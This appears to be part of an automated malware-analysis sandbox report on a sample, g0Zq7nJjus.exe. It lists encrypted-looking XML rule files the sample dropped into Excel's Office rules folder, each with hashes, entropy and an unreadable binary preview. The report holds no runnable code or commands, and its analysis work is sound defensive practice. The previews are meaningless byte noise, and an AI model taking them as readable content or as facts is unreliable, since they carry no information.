SHA-256:	F12BD6430592771EBC6211B45B2A729B8C8C9064DE1F159ED257CC4C7F6B0E70
SHA-512:	3956A420C5E10A4B1EF37B9FAB0198579FB0ECC7180383ECEA49BDBED496BBD879F8ED3F84207C655BE6259F6B7DD78D73EEE1852CA6BAA043449172AF8EE7F0
Malicious:	false
Preview:	<?xml.[....K .&..I.>.K...n..S.Oe...~..G;:jG....Q#y.D..0.Q$.yu>.E...2.5.6.dX..D...xz..p.....7.Bd.R=q_..=..q.#....S....'.fh.....U......@.......^.....I.Y.a...\Y.M..../R.2hB%.x.Rn.`.&T..S..Q....$.>..N....E &..D.VK.4.>.1..r;.b.&..P...5..R../.2E\@c...q.(..~.o.....-...2!..?.x..$....[..#.~Q..>..<.;.el.n'&c.a4.....k._.a.`h..b.+..n......q.i-xL.E..M..k9((...A... ........aS..H..`.?...k....v.M....+..,.{...-...U.P.r^.l....y2.bR1.].f.V+Y\....]2e..l....8..c.........K3...d^Y9'Af.%Ju.z>.zv....fK.@..k<....I...........H<?....S!k...+....4) t/.jmUgRH8...V..g.$hD....^..7....<.(...\|....r.`!o...2M.h...2.N4Q.rG&m...............289z....mm..1?....U1E..9..M$F...h..kzIK@#,G$.<t...........,.g..uZ...<.v..L....%kp.....N"..6.+,.t.h...I,.ziK.._.#.}..&..!...k...W.*..4....!...L.Z#.t....o)z.Ot......u.9P.:....5K.....Rz.b....q...7M..!Q.&_<.-.`.eh...T.F..v.c.D.....p..YJ..#s\...^j...^...A.L..S=N.[...4...X(...'..8b..G..."u..K...FN.O....u...O"A..x....W..{P?2.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.940977368803714
Encrypted:	false
SSDEEP:	96:otTUa8aEfxFwQz6zHTLSrV3cYlwSLIuEjY:oSakcQz67SrV3cYlnLsjY
MD5:	327B8FEF4675DA7949561EB78D5D37B6
SHA1:	74D8C8951273C09C5647106291D693BF62CC73D7
SHA-256:	6224F0CDD3D2E3C5F864F8944774C25F806864D0C206B466AE6191BDA9BC8206
SHA-512:	CC0CB29B4E8796491B702E2136DAD01DB5ACDB68E6222159317DF1236035EB142F2115F080D037F2AB24AA79FBC66FEF080F13C9F77FDC68AB1DE04CF7729146
Malicious:	false
Preview:	<?xmlz...+.....)_.9..G>.........9.}......B....+...W.y.....5..g..+k...._.RZ..Y..+...o-.s"..s...J.lzA.j...8i..T.u.....5..K...UD.?......A.....z......M+.....r'..D.........3......w.H...uz............U.).U..,;.ew.EJ.n...l....Pd[.......P.u..Be....m%.\......r...cq.on.8V.....&......w..f...........aXx..!....L\|+j..I+..Y?.j.&...\|.&.R0..M.Bme!..l.8.....t.N..^...;+b.:r..,...k.iD.J..!...L.2....L.A .w...$Q..^..b.+R....r..}...2.p....@L-tuzE......c.....8J.O.S...fi{%..51\|\v......p..l...}c...yD2V=..P...X.zaS.....Y...P.%<...{...Z.H.........a+...B.1Y...._@x....`.78...g..;..Y4.niC..P.......J..K..Z.fa}jl0}'.!G.. f.b.../..C.l..{c ...6.#.........`f..k.o......g....M...l%...w.^...g...9..Q....[..A..}..."..lb.B .9 ...*...B....ei...3..k5.a.`....d@..$!..3..C...}....1.%.p.C...z..t..8...)2.L.0.0A.oP9.P....w....\|...e...hS.>......L.f.m.=.N.3....r....sM.%+."qA...]..hh..x.......F......,n\._@...JC.s...EL(5=I$@<..Q4...J.Ot....2C..]...!V.W.D..)........nj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.777940515670377
Encrypted:	false
SSDEEP:	24:MCvJbUfr4lILVfxJTkU6dZmoTyeguLyyW1lxshgl1E2bD:Dxo8IbJTkxzmgVgRFxllpD
MD5:	9241056FE994E3DDF012759D62B76509
SHA1:	F44B3D50A3DFC95C87B170359D5A7DED8CEFDBF3
SHA-256:	0C09A7240AF62810B7146828220456C6404E006B9694068A3A3887F0165C6757
SHA-512:	C1AA2DABE5FF45495557623BB05CDBA9383354F4BC7D41C5B59E0DD45F7C4A1CD7418C285EEAF4FFB2FC9BD89F5429A17F4AAAF9EE1D2CE53A5577C398D86582
Malicious:	false
Preview:	<?xml.a..>...o.......m6.)Ch.....I.sk....b.I&`i...S....D.?..Z>...!(...H.....w....3..'.+.4E..5...6.YR..xG..O>~z....Av..?....ix..vn..v.....Of......(#.j..d.\].06;J........U%...Y.M.1.v.r...y......:..1.-5..G.g.j.....<..u.g.B.QD....,0...5............G...@I.L........+....j<..\.@.B.]B..QT".,.{.7.L....b./B....}..u.pV..i.0.4.;.....sf.D...W.`.>.....G...y-F...D....q'....D.^S.[..T.....Mo.x.x.D..$S1.7.&....@.U......P....o.....^.....0..EkWz.W......yy.-..VW....v.0..=pv&..E...;...r...7...3...g1y........S.1....xTe.`+.....4S#....!.6..R.\|.3>.=.k{..n...HD..h.4.)...5..`4flv...5s.........17...g]..%.}..7...GV...d. a..M%.79...h4=D..OvvJ........(..>C.cUx..<...\..h.}Bz\|0et.lXn1.!.H.'.c.E]...y..W.EW.;..f..d........C..'^..`....}`D.k]k.n..:....T..w.x.9.\|8.. .G'p.x.]..Q?..._.b..3..z..'u....f.L.3.0.....P...(v......;.....#.m..`....L.......4..L-.:.D[.Xm....>5}].ZI.u...B).mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.930121558280938
Encrypted:	false
SSDEEP:	48:Tu0RaJpyKIbCoA0n9LZo8RQ5Ghk/+cFc1u8Pih4H8ifkWD:y0aJpVI40n9LZosIGhvcFc5Pih4H5fh
MD5:	08B430BB92E5C60FE1E40BB03839427B
SHA1:	A22FEDC1459E92EA8354A0F02307084F1DDDDC6E
SHA-256:	48E990C93348AB6F68C6C0AD0EBAB8D5B41AE464B01683AD2B11C39ECEA19BC8
SHA-512:	C951BF41D7E9AF293822F082A93B9B2905292491EDD0EF4BE3064D335D9E3BA513E46BE5C2A8988D969CC961FB68ADAB8E69AD70F7907CE8428ABC6720E213E0
Malicious:	false
Preview:	<?xmlF.Z_.L..a.......5....h...x..>cB.......}./...1&`..;\9}./&.l...7...n..e.e.n...fA.T.i}A.....np\dxm..+...._UN.a......@..v..A.(...#.....).!.G..L.S=.....z....{.}...."\....\|...4.R..[l.B..l...ZK..!.\|oO.../.TJS.V$.AT...\|V=..u....5.h.t.2.q.+...........(9...h.._S.$ ).9......\|..........s.C..B+ T......}.8.5ql..@...M7..".%0k.)IQ.j..y.2.i.K.d..z.x..f2...'.b..H......4)"k.......4.]B..[.H...'..}...`....Q....DB........P...t?....:.....8G...A.5,.z._.hv.b..}).RG....&.....2....Z.o.4........C[...h.....J..:.3.V_.....w...g..,E....\..+..V....s...x@./<29..$......\.0.'.2P.Ws.V.hK..>.....q.O.v..p.u..U..rF.t...D.:H.wxE..e.D../.}..X?d..}.?%\.(/P..u...1oY#......{MH...z.....~..U....}f.....$.Na5."....GU...U@..l.....a.i]f..c..21.Q9i..D...0.vI.....}....B.G......Dh...~a..Y........%...HP`..^.ivx...f.G.f5...#8".P..5xv....E...g*.%..X".q..spza"N...7s'`..e...U.$.~p.]...P4k.b\|....yN..........M..Z>....W......c..D...n..=h..\|T.0.X.z..sjm.J.h..`..7...;.-^..........N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.935160642370543
Encrypted:	false
SSDEEP:	96:SzxC0fwBt4YHp9gjH0Az8y45t9qvBQ3YpFwiJdc:WC0fwBtHp9gjlk52C3YrwiJS
MD5:	675B3A37122A4F53F8B761C7ACC47C21
SHA1:	8D08D34F57BAE144057B5EE5CAAB1E048AB807BD
SHA-256:	08047678B7B432E00B1DA1AB0A35A66493E296DFDF5A6C28AB493208A909F5DB
SHA-512:	5025BDBC1A44056FE5C14AB24DB32B0312B4F31E796C31AFB9F98DFABCE806395A11E769D890D154CC8A5B74E65E99E3116F63FCDC535FB0E739D9060310298C
Malicious:	false
Preview:	<?xml........s6V.0&...LI...I.f.Z.....;.....[ .@..H....W.p..yTk...Wf.Z.....g.BWxq._...~._......f....!LE.....r.F6k...z8]...,.nN....\......Xm...........<7...h...E]Z....<~.{Ha..].q.U%.....k...s.7yj7..(.D...OD.;...Ty...=1.....=gL....R.:.U....{.U..o.........L..x,.V.}sO.z..J.....[..c.A.=I.;...d.RI.I.FW...eD.6.(..Js...xE.~%....c...y.....VUA.O<.y..q.t.y.k..`..O....tL..8<)..?t..'S..@.o1.L..c5.b..^.=.,q~...R..;...XL..,.[...s.!.'...S..A.(.}]r......A.}..Npr......l.]f....Z2W..$.qlt-\|}....K..`....<W.b'[Be"......Z]^.Z.....p.g&.....O...N.W.).........a9'._i4......_3.IY...K.....Q.3dN...n#...M.2.yX....h&....e.....{.Mh...].Xn!....+.H.&C..J..T.ht.w%..8......j\|.WpA..w.J.e@7.........J......<.q.$a....Z~.x..._.FRa.[.....X....r.......v...k~2d..g>.. ...w)jy.'#.52!.\|..>....]8....!..h..\...im5h-..c......'..@ug..yz.x....y.a+. .K&.............t.VC....N.].+.h....)j..>i./.0/h....%.b!EMC;...g..Po.4....`..9..Z..b.n...T..6..i.,.a/B1I`.as.n.m.H...(..Rd....v..kF.)..}.l.....,.;....[t.{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.9260250029733434
Encrypted:	false
SSDEEP:	48:2zKryQMMqPcLogmyr4ITfjt/qKM+2oUUY0CxTetm7D:IKryQM7csgmk3JqKz2oWStm3
MD5:	13C41A7F44F12E118E645B33F0DEA689
SHA1:	756524EC8D7C6536083584824BE2EBB7B8E38015
SHA-256:	B656DF94BB4C03B131907BA4A5A2C4354F2C3037A589025F7DF7AB4FAFFE2964
SHA-512:	311F05EDF4785419BDA67B95640FF263DAA8BF594F482DFA4799F10511140C9474BE51866099D94D262BF77D6F5259DDBCC1BD2E09B4473E5B2DA22E48C18546
Malicious:	false
Preview:	<?xml.....w4-.A/....D.DfDl.cj.>.oH.....w..pM.@.....q..'g....;.....'..M..JeG.......wi.....!...E.hC..U...:.D.gL."...[j.....D ...5.0.n.AF..Q..Es...-..2..{\|.. .n.Gk.@....C.....>..q.6...#...Q..8..qZ..3~.8......8?=..$.c.+Q..(...:.+..,.,...E2pR...v...j.h.....]J.Z.F....^..u#.W3.+......${..A&.%...9u..$.,.S. ...l...p....I5\`_).#......$~O....\..W..........($....nM.uCW...r.............4.......Ke.e".+...Da..B[...D.......+B..=Ad....rQ_Az...f.&.3.!......Gj0...3..pv.h.y)..r...C[."..b[-7.........).a.OM..}..J.i.G.........>%.U..y.Tl...=.g.;n....Q.)E.3...k...........W(....Y..a.]8.v.SQ...\a.5..........}.g.6..S.gp..n"..ts..0..5...g.......N"8.....=.@.8.>...2...Q.B&u}.(Z~.v.8.f..5..{4.y.j..)..5WK..n>i\|.....x,.j+...G.}...f.....7....6.odc7.......it.V.....>.g=..K...YGQ.K..E.........U.0j..M.\|.Vm....6G...[...g\|............Z.. B.x.....14.H...E.pl.7..'...&.........N..h.D..t9}._..4..uk..P...G=1.q\|......7....L."..Jp..%....O....h...k...5.)..ub...a.ow#....2......6W.....k......q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.826287547811049
Encrypted:	false
SSDEEP:	24:xAIAkHLq6BYiipCNIVaq1eVVa0pQHzWrwCSzNEaYJlANhuVhrzrf42bD:2oLFB8CNIVaZVVa0pQHzQzJ2fgzfrD
MD5:	8B4CEC0CEFA006CE83BF99C4510E2295
SHA1:	FFF03AA7C48124F3D23222DB7780B646E52ABD00
SHA-256:	B293CB3885E569336FB5434BF0BB43B1FDCA4A2E02914DD9246F079015B6EFFE
SHA-512:	A0FC89054B041CBB610307CF2B5997C45999AC54F7BD9F5509DE3C81D87159AE619E47D1F54F81441A0EB3181CB7ADF3C1F99CA37E71AB4E5B6DC8EE8978FF43
Malicious:	false
Preview:	<?xmlD.Q.NA:q.aN.!.=.q..3...wp&?.(..P...d....--..8.".j7=n.I.D.....?...Y.....?d.H..Z\|H.G.DJ4.%........j..PC....Fx.../......m....k.[d;3..Q...S.0..K..l...........7..~<.7.g.t..?/..j.......6...~..\|...C...;.>..!.U...C.>..l.0.`.Vqy.......n..A...!!.06@.@....&..S..3....n0..........$Z.`........R.d..4.7..Q......@....m.......\|L..'....1.R.....T..R....%f....E.. ..".bwW..HV...7.R4.T.............80..\..Cy..,.e..w^..y...L#x...m..3..uq.#l.x..#......7M<.......c.....@..y..M.!......8....P7............!.....n .CB..?Y.~.0.....R+..P..R.....a.....:.l....j..H&:.=W..c.!...0/......T.}<.55...0..../....s..]@...$I..S".... x..mx.W"^q"F..N...Y..._..C.M."`...(Y..l..].6..H.:'y}z.........7..-.t^..g..6..k..5..2.o.tv....3..;.1....?.g.%.&.i-l...0......jG.n.y.Y...G..3A..sR.O..[a....Q .t.t..2.l......C......Q.@.....N {..t...k...b}[.U..^.f........LY.3..Z.......G.(.YS.%Du..)-.....G..f~.M..di..S<.aq..d\M.V..X.<C.6>..>...s...(X.".T.....].`KY.7.......V..}..$.\|..v...*..aw...e.Y.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.780419440954015
Encrypted:	false
SSDEEP:	12:RmBlIbkUBJfwQwpH8tSfC9T8SADq/Vi8fHwiuDbL0eU5IVbnZFPbVObaLVSUdNcq:RVkkMy7/4gYj0ehVbH5iaL42bD
MD5:	B33E7B7C3475FBAB18DF5CFDAF1AB0B0
SHA1:	EB5B9E2E65DEA4404043EE646F80CEADF76A0987
SHA-256:	235BB73AC28B887F0E02879EE45794314EE95CCDC81D33D0E6B35BD6C30C5D0A
SHA-512:	AB4E01D909978BB3AEF843C27B3EAE6A2A830883A17BD3AC47628D4B0AE70D1A7AFC859C17762626338E4C67B8EE74ACDB61EBA0D6131B8A66870BD1E58BB840
Malicious:	false
Preview:	<?xml.w.7..B....\|............O.S..X.r.]a..].K><.-...bU...\|.~~.../...H.l.......H..K......K......N..\...h.C..../6.R.H.2...+.2..X.8.7..W...-U......ef...s~Yr...W9{..}..j....3L.o.....a....@.....s.+......0...v..u.R.....{i.D..\|m..4.Nw5.L.S..\|..nw."4.bc.........::i....Y...\|..6R...G....E.............LMiB....:MkV.zh:..p...\ )..YN.x$....J.@..............9:.ai..B!....b.......:x.....f..%f).Ml........`....;....Q.q@...xL.....a...J.../..eFF.VH./.{1_.f_1?n.y.....%.(jW._<..@.z0...q....CA.$.q...D....$?.......0..rcGS.1D.NB......]9.z.........j..5.i.$..0...C....'[L>...y..}[.y..6..["..M..+. ..#.XW...p-;zV[.bTSU.K8....:..........E..?...X.R7;X\|...G..&.t.]...e<ow.2..m%8.'y...$4...;... .......(...D..~...&........ .W.+a..T...p@..P*..%u..)..8a....E)......jvu'(3.W....,.-..^.J..l.@..O......]..T"$.Zl.T.B.?>...E$.f...l.YZ..v......E>....@#kf...K.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.81189599577187
Encrypted:	false
SSDEEP:	24:9c48yz5t5ZaUSjgKnAymrHhqeNVuUA8HyZ6/KSfgZ5Rb2bD:9CAvSjYbH0kAUA2o6/hu56D
MD5:	CF728181D063B3EC8C9BF9BF5C7972E2
SHA1:	9AF12069FBE3E466D40637DAE861DF2BE825995C
SHA-256:	F610F16E2040F360FCD70166559C1E63444BD6AA6416C56C8C80EFBE86E2DFEF
SHA-512:	F3CD6ED9B823DFF9051F10848D43B73B3768ADE3291C89FF85CBFF31A1CBBCBC5CF632BE5CAF14E1515111C57D58756D7CE09AB33FF2963F759ADB84437B49F4
Malicious:	false
Preview:	<?xml....hu....B.'.i_ bM5.NK....#.~W.o..JFQ.(^.:U[......J4.n.bvsel-A...g..VT.$..]C).....j..p.t.Gj...!.A.}+..f..i._}$...s.@..Iy.s..`:.C<}.xMN.J.,0.v....?A....Q.\|YkEwY.d2J.% .......35.....\|.5.<..Me...x...N.)8..]..z..............JC.......Y....moqf.1`......Bw)Rl'~<.........F8.....o..^.....F]Y/.V....R?.......6i..;....1..5.......q..nN....;.gl...?.."X.n......6.Z(...MEZaG.,..T.[_W\|F.a..E.4......nU(.,...T.....,.....o..r8.H..o..[..DG..l.>xw..z...ip.s.4.....F\|oIp.$c.....~4.#.!.2.,`..s..y,../.FEbj.d..k.Ex.z.........@......G...k;.(Or.Q.h..$.........0cK....2!!.S.....;J ..1...Q..\N..GK.7..?K._.HI.J.....d.. ..JS.....t..Um...3@.,..o..t@...<U.W....u.Lon.....DG.GS..........g..M...z....$nH....`O..m.S.3....l........H..a.>.......x`......."o.o..+..<...B.=.qGS...E...+...f.q}....].R.b..A..?o...D.C4.y...U.Z.%..n..4`SH.\.D..[...Y.}.8.I.I.e..V...D..~?j>Z.....v........Z..k......'m}~#..A..4u..+..c.E.4Ih._L.(IG......._...fw_c.);...E......~.....aU..[Mq.2..Q....g.-..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.847480130398323
Encrypted:	false
SSDEEP:	24:wvgUkxL2p5OJEqGVicOa0vpmj1D0V55fOBrZm9KVgz2IlldM2bD:McL2pMyL3Oa4ED0V55fkXg1XD
MD5:	35FE98A8F46B8D0E7150CE4D405A43A2
SHA1:	B9C5B6B829F2034AB6DC55D7D9A3D1EFD97E4BD0
SHA-256:	CC57FE4F7EF62AFCAF27BC35B617371B7624320D81C3D089658D529800C970EF
SHA-512:	96602F17EF680646633240AE03581EF70B78663E5A4E43D25FBCDB7BDE319E203F1366DB916603C676F94AC2257BFD540B762F6CD66422949D8E94047E12605D
Malicious:	false
Preview:	<?xml...U....h.../.q..M...s.....<......k...L.....;.u.M.9.[.&.?...]x. .[..OUw......}.0.)M.w.{......Jk.z.R.'..\|..Q.9..Q..I...b...\|.f...}../(.J../=.i.6.c...O..o.:.+?.(..U...{r.o.Cu..y...\|.......P..v...~.k."#.YS._...i.....~....w.y.Zo.....}....T............P..J...\Q..HZ.dC.[......#...Qh..#.;.... .dd...:kRh......DL.`.C..d.q..!"...I."..z..........i#.m..9.T.d..9I..qY....~..R.X..M..2.o...cDrb30..?C.H...Vh..O.x.&.h..1.j/.hF.:........hw...^.......\|......F..=l.$.e.G.Q....sf.ma...g..#....mu.....%..g...%..a..]!..L.....bm4O....7.J..v;!..GH31T.g"_M..Z,.D.w^...!.g...i.7...%.'b._l#nW......V...>.......w.LB.j...EQ.....]..F...x..Qq..R,.z....V.(H..8d...,v...rM....\|..o.j..i.Cy.W5.p...C1...@..j..c...2_..\.,?..o5>^......>I8.T.p`;<nl...X........z\.S.0.-..>l\....lj..N....9..j....H.$T..S..i..x{...j.K.oL0F./...77]b;....S..n.......PP0.....Hv..k.OW?6~....o6..@f..Y/M..W.d1...Bl.z..+....t.+....t..43.z.(l'A..)..i.......N..<:...E.a.5...k........Hy.Y.V..H.....Oe..W...RXV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.935645842148397
Encrypted:	false
SSDEEP:	96:yJUAv3Fb77ppRsgIJNLW0+I6AZWq6PWKqbDr0MN:yd3p7jRvcZWTI1cJWKYd
MD5:	1E89F6AD0F1EDAE394DA5E9D918A0C8D
SHA1:	0EE68D2B1C4F5D3248615BE76D57F24AFEB87D69
SHA-256:	8CE630B03CB27CCF8E751ED17D7F24FD101684DE19E2D2DFB4D77B2726D67CE6
SHA-512:	859C082E41F275D03B6CA1BAD4BA668E60BF8B38D05D27DEDDF293756552C3C0D5511AC514090EC3F311A52C508C49F0364CF4CFED7393A487BF39F8A17652B3
Malicious:	false
Preview:	<?xmlz.....Ng"....Hx.m.T;...f./f........M...hQ...O.2.I.....X.%.C...?>.K......{...V?..5z.V......jd....U.gt...-0....\U.a#...R]..E.NV......6v..zJ.......c.....%u.%._...!.~.%yg...9..p.....m.. .e............R.B....{).c;....Z..46 +\|0{..(9.L.7.R.....WZ>...GL.Q.8VV\|3.5 .....i.........x..!(;.7....:q_Vf.....q...o.....T.L...b.L.>....9.H.1.Y..L.3...9Qgg.R..~......6+.b..mm[-.h......DQ.do...7.X..,...-$....S/crv.\|?....b....F..9.o)m.b.b9..~.78.x.U(..=+.....u......>t...o?h...R. ..!....HQ.Ggn3.2^:z..&...;.A.IO.L.lU...v@..GB.C;..`.~{.........._.~jkb..&}...MG.?2.\|.4..9.X..'..$..o....=... ..p.F....g..6..b...........^.h.-...0..d...B.B.+N.8O..W....`Nm\|..T..\|5/..R.#...8.N..jj.L........E..d.$..\|..P..........).....6u..g;..q...F...}.{v...9....pA.....7........Y.g...W......U..u.....k.&X.^..D.x..Rh...$...'..HK.Q.&..........n[...I..E5...RLg...+......U.^.fEs>..%9g;s.(.)...._..iN....jD.RsZ.`E;....C..".I.P..j......O..'.).d.^x.c..9>.A<.. f...J..T..l.y.b.U[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.916195456426878
Encrypted:	false
SSDEEP:	24:0RnKBAW31WFvXhhEZvRGsF1i3+cP7mKqKBrKZSVfYkoEPXPUCgHivrMbFrtapR+M:0RKLwkYeKqKrhozBCTMb1Ai1n9gm6D
MD5:	125CA92972F5B0FA3BFB261737C272B7
SHA1:	3098FEF18AA71D1FA7A78E6D8D34B00AAD013988
SHA-256:	1D41E201BDE7591351D36EF2A8DFF9380FEC895E23041ADED03D45108DB5F76C
SHA-512:	B281B1111DE3C6604D124531C385B78362F41E18C44D557E0020B61CA07ACC0A4EF08D9E1E3C725BA2E9FD97B1D31F1620298C195C8864B1137A22A790F66321
Malicious:	false
Preview:	<?xml..p.Eef....Mi9.0.d.;./.+...(..r ..BT!".C.......Q.../r.H........3%q........l+.". Ij..Z....~.0K1u..@Q.oj:..,..7P$.>Y..W.@]R..m.$....U..!.&...V.f7q.^T...f.....(.$.+.`...."w..W....5.P.t..z'......ce^.]..jq.......~.=.A........V.$.0!.~/..z.(...Q.4.&..5..g).I..GT9../-......g.g...Y9..^.3.........=....\|.,S.~.F..u&,M...-c.'..4.....:.A..$.P..+T..k..e....T..'6....w..g:.....iRo{...!a..2.......k..W...}.7.S.!T0.;kg.q..w..`s..v.....WCP.0...U..2's..T.ac.3]C.%)c"y.?ti)E[..L.\|(%...u......w.gQo.F.[b...d.)[2..ai.k......Efl.....N..~"h^..OBa.g.H.'?..GT@.uE........:f......../J..@R..;B.a.c;.".:.q.,..c".R...VD.g....9...R...^.N.{.....mWOz.x.i.c..S......j...jE;.;".fP#.G.m............q$.....]w...<n...i#.Z....=.......2..s..A...:.tA\|..C\|.\..!..$..bD..q.}...<...iqD....V..1}[...Y...Gy.8....4).qbb.f$.].~D=.@b.. ........:.......8....g....:z..fU....e..qu.A.K....c.{.p............9\.hj.....Y:r.....%.....v...)...I!.....2.]:!..r...A}..'U{...R.u~.< ...5N8.....dP-...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.857959972883176
Encrypted:	false
SSDEEP:	24:12Z1p/J0dPaMvL6lM9HYVfNcs2eGRTDj5+HYlzbDkrUc8KlZmlsdCaZ92bD:1k//6gk4qHufN0ltN+HgvmjUuCaMD
MD5:	08722EB2E921B449251EA3215959EBC7
SHA1:	ED37D473B54E4F67C4AF86DAD07BB97ED6D58E33
SHA-256:	F8615CEB5D295405DF86DF1F70F99A03170D14B792FBB06EA4F5046D38F3026E
SHA-512:	E026E3A0D7CF11DF460CA1EFBD139F288D91DA2C8B7870D361671CCDBE9BB70B7F0C23ADD9B70E74D661D0BF5E555911D4EE54C5A66E67C6D489D2C7D6AC9A6F
Malicious:	false
Preview:	<?xml...2v+.b.\|h.7..0v.+ .v212....^n."..n.i.t.T..S....K.A\|..^z.R....-..TXQ...(..z.....Ds.}HB.....d.....x...%y.Gn....S5.G.E.......`.......u..~D.......N.........`cG-X"n.{:...T.y...m..`.=n9..H.DZu.b........K_...=xc...m..%}.1..K..-.ZBs{.v".l..9..........!.2.3..7Cr..Dr.Q.".=.E.O.O.......N.d....4Q+w...."au.%{.\..8..,...5 ..5.J..#.{.W9u...aM.Iu.....AV.C..$.j......f..@.9.<....#l.......>^)...w..^.M:l.[..(.@.....1..@.]..X.f5......3..e.B.Ht?c..\|....n....B.?.7...PB.\..Y..4.....<).n..........F^s.F.........@&.&wTq?.a. ..JX.<...?..C./.t....{M.k..`..^0.vI7$.........."r..E'.....7..!I.....N.....[k..T.&j3..N4...Owc.(.R.,^..".b......+.,......l..p..I...+x.<qv....f.@...:I.?9.=.v...`j..1.Za.....U .%hb.......M.r-..K../d..#.O..b.......Lkmz(...-\|.S.oq7.E..}..N.,8....v....IjP.&...j.-@.Q..E.....pp%..j...z.u...ZT..W.... oh\|.W.#.h.zQ `.SW..5..[.L....F...Q....O.I.....*..c....AU#...I..g..w....."\|...f<..g;..`C....b..._..3.>....Y........@..F@..O..d;u..{.0...g......D....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.695243552884927
Encrypted:	false
SSDEEP:	12:kwKP/7WvZPHK1HpZssXwinD6/zOPLcLrM3abBOqUt06tAWnodvSqop4oiFSUdNcq:k1gZ/KrJginDbCBOqWtznoNzoio2bD
MD5:	4853F979B7B4DC9B7F6EC74C5FAB9CF3
SHA1:	327447074175A39DB3DB783F60DFAB9016F449BB
SHA-256:	888689CE78D31641C12AB2E8E7933612CF04201DC1787D5BC9F42B21C5EF4DF1
SHA-512:	48BDE1D0925E5521234AE0D7C4B4A91148A91C59A3385B1EB16488B5D9D242838D91D47729BECD457D671454A5CA37419A1EEF457F9775FA2B09084C94C64CF1
Malicious:	false
Preview:	<?xml4J..r....U.\=..O...w.U..}...k...{Y5..$......H. D......a5C.........v..#PY.....m2W..<c..,.j.vT.......^...`........A.^q.-r..}\|<..o.T.<....................In...(.U.;_.$.$..R.;...w@w.(.U.+@(..D..~.^....D...\|>.......u.P..=.;.d.2.w@.....L..a..!}./}..K.^hX.D.$F....IL...j{.+.X...\..n....gyz........)...........\...{.M&.<..s...M.....-@.t....x...D......5`.O...n.IzR.0 .I.b...>.^o.X.[1~.L.4...aB.8f..5g c.....=...V.....kT'.pX7. .Mx..lq..m<..zJ.....3.8C....@._.....E...5).s!$>o........Z.L.{.....9p`$.....w..$V.>.3.Zr...;-......N...Gn.N...<e..4....9........u.....r.....94..r....Ix0&.....Qv#...)s!..D...y+..[.{.....;M..F.txlp.%...T...xr..t@....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.841767482099085
Encrypted:	false
SSDEEP:	24:wKeTxx76V3FJiv5KC0r3JME2uHoLDDAJm0V2P8MJCQr2BT2bD:wKoI7c5KCMxVHo8LQrAAD
MD5:	59E215CCC082B893FD7D65EA16133780
SHA1:	69EAA5D4F631DC843F439651521A3E4ECDDF9AB1
SHA-256:	69FF4A243DCDC4AC30B036975E60E20A3967CBE9FD4483303EB7144DF580CBC4
SHA-512:	6EE9D82FA07C95EA25E541DCCD476C9D36E6DF7C066C1A692CEB14223234D669361499670E69DC0140460EBB76135115D9B6F2BE4727C2397D91084DD6045DCF
Malicious:	false
